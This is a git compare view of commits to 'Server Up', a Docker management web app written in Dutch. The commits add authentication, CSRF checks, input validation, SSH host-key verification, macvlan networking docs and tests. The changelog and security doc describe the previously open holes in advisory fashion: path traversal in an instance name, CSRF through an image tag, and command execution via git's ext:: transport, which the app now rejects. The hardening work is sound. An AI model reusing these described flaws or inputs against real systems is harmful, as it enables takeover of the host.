Compare commits
2 commits
7eee8ba8ca
...
8b29553a71
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8b29553a71 | ||
|
|
916e54a229 |
31 changed files with 2931 additions and 163 deletions
|
|
@ -41,6 +41,13 @@ jobs:
|
|||
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
|
||||
echo "Deploying version: ${VERSION} (${CHANNEL})"
|
||||
|
||||
- name: Tests draaien
|
||||
run: |
|
||||
set -euo pipefail
|
||||
python3 -m venv /tmp/su-test-venv
|
||||
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
|
||||
/tmp/su-test-venv/bin/python -m pytest tests -q
|
||||
|
||||
- name: Sync code naar deploy-directory
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
|
|
|||
|
|
@ -41,6 +41,13 @@ jobs:
|
|||
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
|
||||
echo "Deploying version: ${VERSION} (${CHANNEL})"
|
||||
|
||||
- name: Tests draaien
|
||||
run: |
|
||||
set -euo pipefail
|
||||
python3 -m venv /tmp/su-test-venv
|
||||
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
|
||||
/tmp/su-test-venv/bin/python -m pytest tests -q
|
||||
|
||||
- name: Sync code naar deploy-directory
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
|
|
|||
2
.gitignore
vendored
2
.gitignore
vendored
|
|
@ -2,3 +2,5 @@ __pycache__/
|
|||
*.pyc
|
||||
*.pyo
|
||||
.env
|
||||
.pytest_cache/
|
||||
venv/
|
||||
|
|
|
|||
87
CHANGELOG.md
87
CHANGELOG.md
|
|
@ -1,3 +1,90 @@
|
|||
# v0.5.00-beta — Authenticatie, beveiliging en eigen IP-adressen
|
||||
|
||||
> **Let op bij het bijwerken.** Server Up heeft nu een login. Open na het
|
||||
> bijwerken meteen de webinterface en maak een beheerdersaccount aan — zolang
|
||||
> dat niet gebeurd is, kan iedereen die de pagina bereikt het account claimen.
|
||||
> De poort wordt voortaan standaard op `127.0.0.1` gebonden; zet `BIND=0.0.0.0`
|
||||
> in je `.env` als je er van buiten de server bij moet (liefst achter een
|
||||
> reverse proxy met TLS — zie `docs/beveiliging.md`).
|
||||
|
||||
## 🔐 Authenticatie
|
||||
|
||||
Tot nu toe was elke `/api/*`-route open. Omdat Server Up de docker-socket als
|
||||
root gebruikt, betekende dat: wie de poort kon bereiken, had root op de host.
|
||||
|
||||
- Lokale accounts met scrypt-gehashte wachtwoorden, sessiecookie
|
||||
(`HttpOnly`, `SameSite=Strict`) en lockout na vijf mislukte pogingen.
|
||||
- Optionele SSO via een reverse-proxy-header (Authelia/Authentik/Cloudflare
|
||||
Access). De header wordt alleen vertrouwd vanaf een geconfigureerd proxy-IP.
|
||||
- Loginscherm en eerste-account-setup in de interface; gebruikersbeheer en
|
||||
wachtwoord wijzigen onder Instellingen → Beveiliging.
|
||||
|
||||
## 🛡️ Beveiligingsfixes
|
||||
|
||||
- **CSRF**: elke mutatie vereist een `X-CSRF-Token`-header. Routes die de
|
||||
toestand wijzigen accepteren geen `GET` meer — `/api/docker/restart` was
|
||||
eerder met een `<img>`-tag vanaf een willekeurige website te triggeren.
|
||||
- **Path traversal**: `/api/store/install` controleerde de instantienaam niet;
|
||||
`"instance": "../../…"` schreef buiten de library. Alle stack-, instantie- en
|
||||
repo-namen lopen nu door één `safe_name()`-validatie.
|
||||
- **Tokenlek**: git-tokens werden teruggegeven door `/api/repos` en
|
||||
`/api/settings`. Die zijn vervangen door een `has_token`-vlag; opslaan met een
|
||||
leeg veld wist het bestaande token niet meer.
|
||||
- **Git-URL's**: alleen `http(s)://`, `ssh://` en `git@host:pad`. Git's
|
||||
`ext::`-transport voert een shell-commando uit en wordt nu geweigerd.
|
||||
- **Templates** renderen in een Jinja2-sandbox (server-side template injection).
|
||||
- **SSH**: host-keys worden geverifieerd (`accept-new` + `/data/known_hosts`);
|
||||
eerder stond `StrictHostKeyChecking=no`, waarmee elke MITM onzichtbaar was.
|
||||
- **Modules**: repo's worden niet meer automatisch bij elke start gepulld
|
||||
(`AUTO_SYNC_ON_BOOT`, standaard uit) en kunnen per repo op een commit worden
|
||||
vastgezet.
|
||||
- Productie-WSGI-server (waitress) i.p.v. de Flask-ontwikkelserver, limiet op
|
||||
request-grootte, `ProxyFix`, en CSP/`X-Frame-Options`/`nosniff`/
|
||||
`Referrer-Policy`-headers.
|
||||
- Tailwind, Alpine en htmx worden meegeleverd in plaats van vanaf een CDN
|
||||
geladen; Google Fonts is eruit. De interface werkt nu ook offline.
|
||||
- `config.json` en de sleutel staan op 0600.
|
||||
|
||||
## 🌐 Stacks met een eigen IP-adres
|
||||
|
||||
Nieuw: geef een stack een eigen adres in je LAN in plaats van poorten op de host
|
||||
(macvlan/ipvlan). Geen poortconflicten meer, apps op hun eigen standaardpoort, en
|
||||
je kunt per app firewallen.
|
||||
|
||||
- Netwerkbeheer onder Instellingen → Netwerken (driver, host-interface, subnet,
|
||||
gateway, optionele IP-range).
|
||||
- Bij het installeren kies je "Poorten op de host" of een netwerk; Server Up
|
||||
stelt het eerstvolgende vrije adres voor en houdt toegekende adressen vast.
|
||||
- Het gerenderde compose-bestand wordt automatisch omgezet: poortmappings eruit,
|
||||
netwerk met `ipv4_address` erin. De templates in `apps/` blijven ongewijzigd.
|
||||
- Uitleg en valkuilen (waaronder de shim-interface die de host nodig heeft om
|
||||
zijn eigen macvlan-containers te bereiken) staan in `docs/netwerken.md`.
|
||||
|
||||
## 🧩 Beheer per container
|
||||
|
||||
De stackkaart klapt uit naar de losse containers: per container starten, stoppen,
|
||||
herstarten, logs bekijken en live CPU-/geheugengebruik.
|
||||
|
||||
## 📦 Veiliger installeren
|
||||
|
||||
- Poortvelden krijgen een vrij poortnummer voorgesteld — `next_free_port()`
|
||||
bestond al maar werd nergens gebruikt. Bezette poorten worden gemeld.
|
||||
- Velden voor tokens en wachtwoorden krijgen een genereerknop.
|
||||
- Compose wordt gevalideerd (`docker compose config`) vóór het wegschrijven, dus
|
||||
een typefout in de editor maakt een draaiende stack niet meer onstartbaar.
|
||||
|
||||
## 🔧 Overig
|
||||
|
||||
- Testsuite met pytest (112 tests), ook als stap in beide deploy-workflows.
|
||||
- Audit-log gebruikt één gedeelde SQLite-verbinding — elke job lekte eerder een
|
||||
file descriptor. Joblogs worden afgekapt op 2000 regels.
|
||||
- Het `VERSION`-bestand is de enige bron voor het versienummer.
|
||||
- Lichte `/healthz` voor de healthcheck in plaats van `docker info`.
|
||||
- `fix-config.sh` verwijderd: bevatte een hardgecodeerd intern IP en
|
||||
overschreef de configuratie van de gebruiker.
|
||||
|
||||
---
|
||||
|
||||
# v0.4.60 — Tweecijferig patch-nummer
|
||||
|
||||
## Versiebeleid vanaf v0.4.60
|
||||
|
|
|
|||
23
Dockerfile
23
Dockerfile
|
|
@ -37,19 +37,38 @@ COPY --from=build /inst /usr/local
|
|||
WORKDIR /app
|
||||
COPY server-up/ ./
|
||||
COPY modules/ ./modules-bundled/
|
||||
COPY VERSION ./VERSION
|
||||
RUN mkdir -p static/fonts \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/css/materialdesignicons.min.css" -o static/fonts/mdi.min.css \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/materialdesignicons-webfont.woff2" -o static/fonts/materialdesignicons-webfont.woff2 \
|
||||
&& sed -i "s|https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/||g" static/fonts/mdi.min.css
|
||||
|
||||
# Front-end libraries meeleveren in plaats van vanaf een CDN laden. Zo kan de
|
||||
# Content-Security-Policy op 'self' blijven, is er geen supply-chain-risico van
|
||||
# unpkg/jsdelivr op runtime, en werkt de UI ook zonder internetverbinding.
|
||||
RUN mkdir -p static/vendor \
|
||||
&& curl -fsSL "https://cdn.tailwindcss.com/3.4.16?plugins=forms,typography" \
|
||||
-o static/vendor/tailwind.js \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/alpinejs@3.14.1/dist/cdn.min.js" \
|
||||
-o static/vendor/alpine.min.js \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/htmx.org@2.0.3/dist/htmx.min.js" \
|
||||
-o static/vendor/htmx.min.js \
|
||||
&& for f in static/vendor/tailwind.js static/vendor/alpine.min.js static/vendor/htmx.min.js; do \
|
||||
test -s "$f" || { echo "LEEG: $f"; exit 1; }; \
|
||||
done
|
||||
|
||||
# Directories + git safe.directory (fix dubious ownership)
|
||||
RUN mkdir -p /data/stacks /data/appdata /data/backups /data/git modules /root \
|
||||
&& printf '[safe]\n\tdirectory = *\n' > /root/.gitconfig
|
||||
|
||||
# GIT_SSH_COMMAND: StrictHostKeyChecking=accept-new vertrouwt een host bij de
|
||||
# eerste verbinding en bewaart de sleutel in /data/known_hosts. Wijzigt die
|
||||
# sleutel later, dan faalt de verbinding — met `no` was elke MITM onzichtbaar.
|
||||
ENV PYTHONUNBUFFERED=1 PORT=5000 HOME=/root \
|
||||
SU_VERSION=${SU_VERSION} \
|
||||
SU_CONFIG=/data/config.json SU_AUDIT=/data/audit.db SU_GIT_CACHE=/data/git \
|
||||
GIT_SSH_COMMAND="ssh -F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||
SU_SECRET=/data/secret.key \
|
||||
GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=accept-new -o UserKnownHostsFile=/data/known_hosts"
|
||||
EXPOSE 5000
|
||||
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/api/docker/info || exit 1
|
||||
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/healthz || exit 1
|
||||
CMD ["python","app.py"]
|
||||
|
|
|
|||
2
VERSION
2
VERSION
|
|
@ -1 +1 @@
|
|||
0.4.60
|
||||
0.5.00-beta
|
||||
|
|
|
|||
|
|
@ -17,7 +17,10 @@ services:
|
|||
# Wijzig BASE_DIR in .env om alle paden te verplaatsen
|
||||
- ${BASE_DIR:-/opt/serverup}:${BASE_DIR:-/opt/serverup}
|
||||
ports:
|
||||
- "${PORT:-5000}:5000"
|
||||
# Standaard alleen bereikbaar vanaf de host zelf. Server Up beheert de
|
||||
# Docker-daemon, dus zet dit pas open als er een reverse proxy met TLS
|
||||
# voor staat: BIND=0.0.0.0 in .env (en stel in de UI de trusted proxy in).
|
||||
- "${BIND:-127.0.0.1}:${PORT:-5000}:5000"
|
||||
environment:
|
||||
- PORT=5000
|
||||
- HOME=/root
|
||||
|
|
|
|||
111
docs/beveiliging.md
Normal file
111
docs/beveiliging.md
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
# Beveiliging
|
||||
|
||||
Server Up beheert de Docker-daemon. Wie toegang heeft tot de webinterface, kan
|
||||
containers starten met willekeurige volumes — en daarmee in de praktijk alles op
|
||||
de host. Behandel toegang tot Server Up dus als root-toegang tot de server.
|
||||
|
||||
Vanaf v0.5.00 is de interface standaard afgeschermd met een login.
|
||||
|
||||
---
|
||||
|
||||
## Eerste start
|
||||
|
||||
Bij de eerste start is er nog geen account. Open de webinterface en maak er
|
||||
meteen een aan: **zolang dat niet gebeurd is, kan iedereen die de pagina bereikt
|
||||
het beheerdersaccount claimen.** De container laat daarom bij het opstarten een
|
||||
waarschuwing zien.
|
||||
|
||||
Standaard bindt `docker-compose.yml` de poort op `127.0.0.1`, dus alleen vanaf de
|
||||
server zelf bereikbaar. Wil je er van buitenaf bij, zet dan een reverse proxy met
|
||||
TLS ervoor (zie onder) en pas `BIND` aan in je `.env`.
|
||||
|
||||
## Authenticatiemodi
|
||||
|
||||
Instelbaar via `PUT /api/auth/mode`:
|
||||
|
||||
| Modus | Betekenis |
|
||||
|-------|-----------|
|
||||
| `local` (standaard) | Gebruikersnaam + wachtwoord in Server Up zelf |
|
||||
| `proxy` | Identiteit komt uit een header van je reverse proxy; geen lokale login meer |
|
||||
| `both` | Beide; handig om SSO te testen zonder jezelf buiten te sluiten |
|
||||
|
||||
Wachtwoorden worden opgeslagen als scrypt-hash (n=2¹⁴) met een willekeurige salt.
|
||||
Na vijf mislukte pogingen is het account vijf minuten geblokkeerd.
|
||||
|
||||
### SSO via een reverse proxy
|
||||
|
||||
Draai je Authelia, Authentik of Cloudflare Access, dan kan die de identiteit in
|
||||
een header zetten (meestal `Remote-User`).
|
||||
|
||||
Belangrijk: die header wordt **alleen** vertrouwd als het bron-IP in
|
||||
`trusted_proxies` staat. Zonder die lijst kan iedereen de header zelf meesturen
|
||||
en zich voordoen als beheerder. Server Up weigert daarom modus `proxy`/`both` als
|
||||
`trusted_proxies` leeg is.
|
||||
|
||||
Zorg er ook voor dat je proxy de header van binnenkomende requests **wist** en
|
||||
zelf opnieuw zet.
|
||||
|
||||
## Reverse proxy met TLS
|
||||
|
||||
Server Up spreekt gewoon HTTP. Zet er een proxy voor die TLS afhandelt:
|
||||
|
||||
```nginx
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header Remote-User ""; # wis wat de client stuurt
|
||||
}
|
||||
```
|
||||
|
||||
Zet `SU_HTTPS=1` in de omgeving zodra alles via TLS loopt; de sessiecookie krijgt
|
||||
dan de `Secure`-vlag.
|
||||
|
||||
## Wat er beveiligd is
|
||||
|
||||
- **Sessies** — `HttpOnly`, `SameSite=Strict`, 12 uur geldig.
|
||||
- **CSRF** — elke POST/PUT/DELETE vereist de `X-CSRF-Token`-header. Routes die de
|
||||
toestand wijzigen accepteren geen GET meer.
|
||||
- **Padvalidatie** — stack-, instantie- en repo-namen worden gecontroleerd, zodat
|
||||
ze nooit buiten `LIBRARY_DIR` of de git-cache kunnen wijzen.
|
||||
- **Git-URL's** — alleen `http(s)://`, `ssh://` en `git@host:pad`. Git's
|
||||
`ext::`-transport voert een shell-commando uit en wordt geweigerd.
|
||||
- **Templates** — boilerplates renderen in een Jinja2-sandbox.
|
||||
- **Geheimen** — git-tokens worden nooit teruggegeven door de API (alleen een
|
||||
`has_token`-vlag); `config.json` en `secret.key` staan op 0600.
|
||||
- **Headers** — CSP op `'self'`, `X-Frame-Options: DENY`, `nosniff`,
|
||||
`Referrer-Policy: no-referrer`. Alle front-end libraries worden meegeleverd,
|
||||
dus er gaat op runtime niets naar een CDN.
|
||||
- **SSH** — host-keys worden geverifieerd (`accept-new`, opgeslagen in
|
||||
`/data/known_hosts`).
|
||||
|
||||
## Externe repo's en modules
|
||||
|
||||
Een module is Python-code die Server Up **uitvoert**. Voeg alleen repo's toe die
|
||||
je vertrouwt. Twee knoppen om aan te draaien:
|
||||
|
||||
- `AUTO_SYNC_ON_BOOT` staat standaard **uit**. Repo's worden dus niet vanzelf
|
||||
bijgewerkt; je synchroniseert zelf wanneer je dat wilt.
|
||||
- Zet per repo een `commit` in de config om hem op een specifieke commit vast te
|
||||
zetten:
|
||||
|
||||
```json
|
||||
{"id": "mijn-apps", "url": "https://…", "branch": "main", "commit": "a1b2c3d"}
|
||||
```
|
||||
|
||||
## Wat níét is afgedekt
|
||||
|
||||
- **De docker-socket zelf.** Server Up heeft volledige toegang tot de daemon; dat
|
||||
is inherent aan wat het doet. Een socket-proxy die alleen bepaalde endpoints
|
||||
toelaat werkt niet, omdat compose vrijwel alles nodig heeft.
|
||||
- **Rechten per gebruiker.** Elk account heeft dezelfde volledige toegang; er
|
||||
zijn geen rollen.
|
||||
- **Rate limiting op de API** buiten de login-lockout om. Zet er zo nodig een
|
||||
proxy met rate limiting voor.
|
||||
|
||||
## Een probleem melden
|
||||
|
||||
Vind je een beveiligingsprobleem, meld het dan via de repository-issues met zo
|
||||
veel mogelijk details over de reproductie.
|
||||
134
docs/netwerken.md
Normal file
134
docs/netwerken.md
Normal file
|
|
@ -0,0 +1,134 @@
|
|||
# Stacks een eigen IP-adres geven (macvlan / ipvlan)
|
||||
|
||||
Standaard publiceert een stack poorten op de host: Vaultwarden op `8222`, Mealie
|
||||
op `9925`, enzovoort. Dat werkt, maar levert op den duur een lange lijst
|
||||
poortnummers op die je moet onthouden, en twee apps die allebei poort 8080 willen
|
||||
gaan niet samen.
|
||||
|
||||
Met een **macvlan**- of **ipvlan**-netwerk krijgt een stack een eigen IP-adres in
|
||||
je LAN. De app draait dan gewoon op zijn eigen standaardpoort:
|
||||
|
||||
| Zonder | Met eigen IP |
|
||||
|--------|--------------|
|
||||
| `http://192.168.1.10:8222` | `http://192.168.1.240` |
|
||||
| `http://192.168.1.10:9925` | `http://192.168.1.241` |
|
||||
|
||||
Je kunt er ook per app op firewallen, en een DNS-naam aan koppelen.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Lees dit eerst: de host bereikt zijn eigen containers niet
|
||||
|
||||
Dit is de bekendste valkuil van macvlan. De Docker-host kan **niet** bij een
|
||||
container die op een macvlan-netwerk draait, en andersom ook niet. Alle andere
|
||||
apparaten in je netwerk kunnen dat wél.
|
||||
|
||||
Draait Server Up op dezelfde machine als de containers, dan zie je dus:
|
||||
|
||||
- vanaf je laptop: `http://192.168.1.240` werkt
|
||||
- vanaf de server zelf: `curl http://192.168.1.240` loopt vast
|
||||
|
||||
Heb je dat nodig (bijvoorbeeld voor een healthcheck of een reverse proxy die op
|
||||
de host draait), maak dan een shim-interface aan op de host:
|
||||
|
||||
```bash
|
||||
# Eenmalig; vervang eth0 en de adressen door die van jouw netwerk.
|
||||
ip link add shim link eth0 type macvlan mode bridge
|
||||
ip addr add 192.168.1.239/32 dev shim
|
||||
ip link set shim up
|
||||
ip route add 192.168.1.240/28 dev shim
|
||||
```
|
||||
|
||||
Zet dat in een systemd-unit of in `/etc/network/interfaces`, anders is het na een
|
||||
herstart weg.
|
||||
|
||||
**ipvlan (l2)** heeft dit probleem niet op dezelfde manier, maar vereist wel dat
|
||||
je switch en router er goed mee omgaan. Werkt macvlan niet, probeer dan ipvlan.
|
||||
|
||||
---
|
||||
|
||||
## Stap 1 — Bepaal je netwerkgegevens
|
||||
|
||||
Je hebt vier dingen nodig:
|
||||
|
||||
| Wat | Voorbeeld | Hoe kom je eraan |
|
||||
|-----|-----------|------------------|
|
||||
| Host-interface | `eth0` | `ip -br link` op de server |
|
||||
| Subnet | `192.168.1.0/24` | Je router; hetzelfde subnet als de server |
|
||||
| Gateway | `192.168.1.1` | `ip route \| grep default` |
|
||||
| IP-range | `192.168.1.240/28` | Een blok dat je **buiten je DHCP-bereik** houdt |
|
||||
|
||||
De IP-range is optioneel maar sterk aanbevolen. Zonder range mag Docker het hele
|
||||
subnet gebruiken en kan het een adres uitdelen dat je DHCP-server ook aan een
|
||||
telefoon geeft. `192.168.1.240/28` reserveert `.240` t/m `.255` — zestien
|
||||
adressen. Zet dat bereik in je router buiten de DHCP-pool.
|
||||
|
||||
## Stap 2 — Netwerk aanmaken in Server Up
|
||||
|
||||
Ga naar **Instellingen → Netwerken → Netwerk** en vul de gegevens in. Server Up
|
||||
maakt het Docker-netwerk aan en onthoudt de definitie.
|
||||
|
||||
Hetzelfde met de hand zou zijn:
|
||||
|
||||
```bash
|
||||
docker network create -d macvlan \
|
||||
--subnet 192.168.1.0/24 \
|
||||
--gateway 192.168.1.1 \
|
||||
--ip-range 192.168.1.240/28 \
|
||||
-o parent=eth0 \
|
||||
lan
|
||||
```
|
||||
|
||||
## Stap 3 — Een stack installeren op een eigen IP
|
||||
|
||||
Kies in de installatiemodal bij **Netwerk** je netwerk in plaats van "Poorten op
|
||||
de host". Server Up stelt het eerstvolgende vrije adres voor; je kunt het
|
||||
overschrijven.
|
||||
|
||||
Bij het installeren gebeurt er dit met het compose-bestand:
|
||||
|
||||
```yaml
|
||||
# vóór # ná
|
||||
services: services:
|
||||
vaultwarden: vaultwarden:
|
||||
image: vaultwarden/server image: vaultwarden/server
|
||||
ports: networks:
|
||||
- "8222:80" lan:
|
||||
ipv4_address: 192.168.1.240
|
||||
networks:
|
||||
lan:
|
||||
external: true
|
||||
```
|
||||
|
||||
De poortmapping verdwijnt — die heeft geen functie meer. Vaultwarden luistert op
|
||||
poort 80 en is bereikbaar op `http://192.168.1.240`.
|
||||
|
||||
Bestaat een stack uit meerdere containers, dan krijgt de container die poorten
|
||||
publiceerde het vaste adres; de rest komt zonder vast adres in hetzelfde netwerk,
|
||||
zodat ze elkaar op servicenaam blijven vinden.
|
||||
|
||||
---
|
||||
|
||||
## Adresbeheer
|
||||
|
||||
Server Up bewaart het toegekende adres in `.serverup.json` in de stackmap. Zo
|
||||
blijft het gereserveerd, ook als de stack gestopt is, en krijgt een volgende
|
||||
installatie het volgende vrije adres voorgesteld.
|
||||
|
||||
Wil je het adres van een bestaande stack wijzigen, pas dan het compose-bestand
|
||||
aan via **compose bewerken** en werk `ipv4_address` bij.
|
||||
|
||||
## Verwijderen
|
||||
|
||||
Een netwerk kan pas weg als er geen containers meer op draaien. Stop eerst de
|
||||
betreffende stacks; Server Up weigert het anders met een melding.
|
||||
|
||||
## Problemen oplossen
|
||||
|
||||
| Symptoom | Oorzaak |
|
||||
|----------|---------|
|
||||
| `network ... not found` bij het starten | Netwerk verwijderd terwijl de stack er nog naar verwijst — maak het opnieuw aan |
|
||||
| Container krijgt geen verbinding | Verkeerde `parent`-interface, of de interface zit in een bond/bridge |
|
||||
| Adres al in gebruik | Het adres valt binnen je DHCP-bereik; verklein de DHCP-pool of kies een andere range |
|
||||
| Vanaf de server niet bereikbaar, vanaf laptop wel | Verwacht gedrag — zie de shim-interface bovenaan |
|
||||
| Werkt niet op WiFi | Klopt: macvlan werkt niet over een draadloze interface |
|
||||
|
|
@ -1,47 +0,0 @@
|
|||
#!/bin/bash
|
||||
# Repareer de APP_REPOS in de Server Up config:
|
||||
# - Verwijdert dubbele entries
|
||||
# - Geeft de Forgejo dev-repo een uniek id (bes-r-dev)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
docker exec server-up python3 -c "
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
p = Path('/data/config.json')
|
||||
cfg = json.loads(p.read_text())
|
||||
|
||||
cfg['APP_REPOS'] = [
|
||||
{
|
||||
'id': 'server-up',
|
||||
'name': 'server-up (GitHub)',
|
||||
'url': 'https://github.com/bes-r/server-up.git',
|
||||
'branch': 'main',
|
||||
'subdir': 'apps',
|
||||
'token': ''
|
||||
},
|
||||
{
|
||||
'id': 'boilerplates',
|
||||
'name': 'Boilerplates (ChristianLempa)',
|
||||
'url': 'https://github.com/ChristianLempa/boilerplates-library.git',
|
||||
'branch': 'main',
|
||||
'subdir': 'compose'
|
||||
},
|
||||
{
|
||||
'id': 'bes-r-dev',
|
||||
'name': 'bes-r (dev)',
|
||||
'url': 'http://10.0.20.22:3000/bes-r/server-up.git',
|
||||
'branch': 'dev',
|
||||
'token': '',
|
||||
'subdir': 'apps'
|
||||
}
|
||||
]
|
||||
|
||||
p.write_text(json.dumps(cfg, indent=2))
|
||||
print('Config bijgewerkt.')
|
||||
"
|
||||
|
||||
echo "Container herstarten..."
|
||||
cd /opt/docker/server-up && docker compose restart
|
||||
echo "Klaar. Ga in Server Up naar de app-store en klik op Synchroniseren voor 'bes-r (dev)'."
|
||||
650
server-up/app.py
650
server-up/app.py
|
|
@ -1,6 +1,7 @@
|
|||
"""Server Up — Docker Manager."""
|
||||
from __future__ import annotations
|
||||
import inspect, json, os, re, shutil, subprocess, sys, time
|
||||
import inspect, json, os, re, secrets, shutil, subprocess, sys, time
|
||||
from datetime import timedelta
|
||||
from pathlib import Path
|
||||
|
||||
# Ensure app dir is in sys.path so modules can import 'from modules.base' and 'from core'
|
||||
|
|
@ -9,16 +10,51 @@ if str(APP) not in sys.path:
|
|||
sys.path.insert(0, str(APP))
|
||||
|
||||
import yaml
|
||||
from flask import Flask, Response, jsonify, render_template, request
|
||||
from flask import Flask, Response, jsonify, render_template, request, session
|
||||
|
||||
import core as cfg
|
||||
from core import audit, jobs, i18n
|
||||
from core import docker, git, boilerplates, updater
|
||||
from core import auth, docker, git, boilerplates, updater
|
||||
from core import compose_transform, networks
|
||||
from core.modules import Module, CORE, discover
|
||||
|
||||
app = Flask(__name__, static_folder="static", template_folder="templates")
|
||||
|
||||
VERSION = os.environ.get("SU_VERSION", "0.4.60")
|
||||
|
||||
def _version() -> str:
|
||||
"""Versienummer: env-var wint, anders het centrale VERSION-bestand."""
|
||||
env = os.environ.get("SU_VERSION", "").strip()
|
||||
if env and env != "dev":
|
||||
return env
|
||||
for candidate in (APP / "VERSION", APP.parent / "VERSION"):
|
||||
try:
|
||||
v = candidate.read_text(encoding="utf-8").strip()
|
||||
if v:
|
||||
return v
|
||||
except Exception:
|
||||
continue
|
||||
return env or "0.0.0"
|
||||
|
||||
|
||||
VERSION = _version()
|
||||
|
||||
# ── App-configuratie ─────────────────────────────────────────────────────────
|
||||
app.secret_key = auth.secret_key()
|
||||
app.config.update(
|
||||
SESSION_COOKIE_HTTPONLY=True,
|
||||
SESSION_COOKIE_SAMESITE="Strict",
|
||||
# Alleen zinvol achter TLS; anders zou de cookie nooit verstuurd worden.
|
||||
SESSION_COOKIE_SECURE=bool(os.environ.get("SU_HTTPS")),
|
||||
PERMANENT_SESSION_LIFETIME=timedelta(hours=12),
|
||||
MAX_CONTENT_LENGTH=2 * 1024 * 1024,
|
||||
)
|
||||
|
||||
# Achter een reverse proxy is request.remote_addr het proxy-adres; ProxyFix
|
||||
# herstelt het echte client-IP. Alleen inschakelen als er ook daadwerkelijk
|
||||
# vertrouwde proxy's zijn geconfigureerd — anders kan iedereen zijn IP vervalsen.
|
||||
if auth.settings().get("trusted_proxies"):
|
||||
from werkzeug.middleware.proxy_fix import ProxyFix
|
||||
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
|
||||
|
||||
MODULES: list[Module] = []
|
||||
USER_MOD = APP / "modules"
|
||||
|
|
@ -105,17 +141,182 @@ def _notify_restart(mid: str) -> tuple[bool, str]:
|
|||
# API
|
||||
# ══════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
# ── Authenticatie ─────────────────────────────────────────────────────────────
|
||||
|
||||
# Routes die zonder sessie bereikbaar moeten zijn. `/` levert alleen de lege
|
||||
# app-shell; alle gegevens komen via /api/* en zijn dus wél afgeschermd.
|
||||
PUBLIC_PATHS = frozenset({
|
||||
"/", "/healthz", "/favicon.ico",
|
||||
"/api/auth/me", "/api/auth/login", "/api/auth/logout", "/api/auth/setup",
|
||||
})
|
||||
|
||||
|
||||
@app.before_request
|
||||
def require_auth():
|
||||
p = request.path
|
||||
if p in PUBLIC_PATHS or p.startswith("/static/"):
|
||||
return None
|
||||
if auth.current_user():
|
||||
# Sessie-gebaseerde auth is kwetsbaar voor CSRF; elke mutatie moet het
|
||||
# token meesturen dat alleen same-origin JavaScript kan uitlezen.
|
||||
if request.method not in ("GET", "HEAD", "OPTIONS"):
|
||||
if not auth.verify_csrf(request.headers.get("X-CSRF-Token")):
|
||||
return jsonify(ok=False, msg="Ongeldig of ontbrekend CSRF-token"), 403
|
||||
return None
|
||||
if auth.needs_setup():
|
||||
return jsonify(ok=False, msg="Server Up is nog niet ingesteld",
|
||||
needs_setup=True), 401
|
||||
return jsonify(ok=False, msg="Niet ingelogd"), 401
|
||||
|
||||
|
||||
@app.route("/api/auth/me")
|
||||
def api_auth_me():
|
||||
user = auth.current_user()
|
||||
a = auth.settings()
|
||||
return jsonify(authenticated=bool(user), user=user or "",
|
||||
needs_setup=auth.needs_setup(), mode=a.get("mode", "local"),
|
||||
version=VERSION,
|
||||
csrf_token=auth.csrf_token() if user else "")
|
||||
|
||||
|
||||
@app.route("/api/auth/setup", methods=["POST"])
|
||||
def api_auth_setup():
|
||||
"""Maak het eerste account aan. Werkt alleen zolang er nog geen account is."""
|
||||
if not auth.needs_setup():
|
||||
return jsonify(ok=False, msg="Er bestaat al een account"), 409
|
||||
d = request.json or {}
|
||||
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg=msg), 400
|
||||
auth.start_session(d.get("username", "").strip())
|
||||
audit.log("auth", "setup", "ok", ref=d.get("username", ""), ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg, csrf_token=auth.csrf_token())
|
||||
|
||||
|
||||
@app.route("/api/auth/login", methods=["POST"])
|
||||
def api_auth_login():
|
||||
d = request.json or {}
|
||||
name = (d.get("username") or "").strip()
|
||||
ok, msg = auth.check_login(name, d.get("password", ""))
|
||||
if not ok:
|
||||
audit.log("auth", "login", "error", ref=name, detail=msg,
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=False, msg=msg), 401
|
||||
auth.start_session(name)
|
||||
audit.log("auth", "login", "ok", ref=name, ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg, user=name, csrf_token=auth.csrf_token())
|
||||
|
||||
|
||||
@app.route("/api/auth/logout", methods=["POST"])
|
||||
def api_auth_logout():
|
||||
user = session.get("user", "")
|
||||
auth.end_session()
|
||||
if user:
|
||||
audit.log("auth", "logout", "ok", ref=user, ip=request.remote_addr)
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/auth/password", methods=["POST"])
|
||||
def api_auth_password():
|
||||
d = request.json or {}
|
||||
user = auth.current_user()
|
||||
ok, _ = auth.check_login(user, d.get("current", ""))
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg="Huidig wachtwoord klopt niet"), 403
|
||||
